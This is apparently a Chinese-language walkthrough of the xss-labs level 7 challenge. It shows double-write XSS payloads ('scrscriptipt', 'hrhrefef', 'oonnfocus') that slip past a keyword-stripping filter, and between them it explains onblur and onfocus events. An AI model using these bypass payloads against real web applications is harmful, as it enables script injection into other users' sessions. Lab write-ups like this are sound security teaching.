姿势
逻辑后端代码:
将输入内容转化为小写字母,使用str_replace函数将script替换为空字符串
、将on替换为空字符串、将src替换为空字符串
、将data替换为空字符串、将href替换为空字符串
故采用双写绕过
"> <scrscriptipt>alert("qiushuo")</scscriptript> <"
经过滤后会得到
"> <script>alert("qiushuo")</script> <"
同理,使用超链接双写绕过:
"> <a hrhrefef=javascscriptript:alert("qiushuo")>秋说</a> <"
过滤后得到:
"> <a href=javascript:alert("qiushuo")>秋说</a> <"
也可采用onblur事件双写绕过
onblur/onfocus事件
onblur 事件是在 HTML 元素失去焦点时触发的事件。当用户从一个元素切换到另一个元素或点击页面空白区域时,原本获得焦点的元素就会触发 onblur 事件。
可以将 onblur 事件应用于各种 HTML 元素,包括输入框、下拉列表、按钮等。当元素失去焦点时,可以执行相应的 JavaScript 代码来实现特定的功能或交互。
以下是一个示例,展示了如何使用 onblur 事件:
<input type="text" onblur="myFunction()"> <script> function myFunction() { alert("Input field lost focus!"); } </script>
在上述示例中,当文本输入框失去焦点时,myFunction() 函数将被调用,并弹出一个Input field lost focus!的警告框。
除了直接在 HTML 元素上使用 onblur 属性,同样可以使用 JavaScript 来动态地绑定和处理 onblur 事件。例如:
<input id="myInput" type="text"> <script> document.getElementById("myInput").addEventListener("blur", function() { alert("Input field lost focus!"); }); </script>
上述代码通过使用 addEventListener
方法将 onblur 事件监听器添加到文本输入框上。当输入框失去焦点时,绑定的函数将被调用,同样会弹出一个提示框。
onfocus 事件是在 HTML 元素获得焦点时触发的事件。当用户点击或选择某个元素,使其成为当前活动元素时,就会触发 onfocus 事件。
可以将 onfocus 事件应用于各种 HTML 元素,包括输入框、下拉列表、按钮等。当元素获得焦点时,可以执行相应的 JavaScript 代码来实现特定的功能或交互。
以下是一个示例,展示了如何使用 onfocus 事件:
<input type="text" onfocus="myFunction()"> <script> function myFunction() { alert("Input field is focused!"); } </script>
在上述示例中,当文本输入框获得焦点时,myFunction() 函数将被调用,并弹出一个Input field is focused!的警告框。
除了直接在 HTML 元素上使用 onfocus 属性,还可以使用 JavaScript 来动态地绑定和处理 onfocus 事件。例如:
<input id="myInput" type="text"> <script> document.getElementById("myInput").addEventListener("focus", function() { alert("Input field is focused!"); }); </script>
上述代码通过使用 addEventListener
方法将 onfocus 事件监听器添加到文本输入框上。当输入框获得焦点时,绑定的函数将被调用,同样会弹出一个提示框。
" oonnfocus=javascscriptript:alert("qiushuo") "
总结
以上为[网络安全]xss-labs level-7 解题详析,后续将分享[网络安全]xss-labs level-8 解题详析。
我是秋说,我们下次见。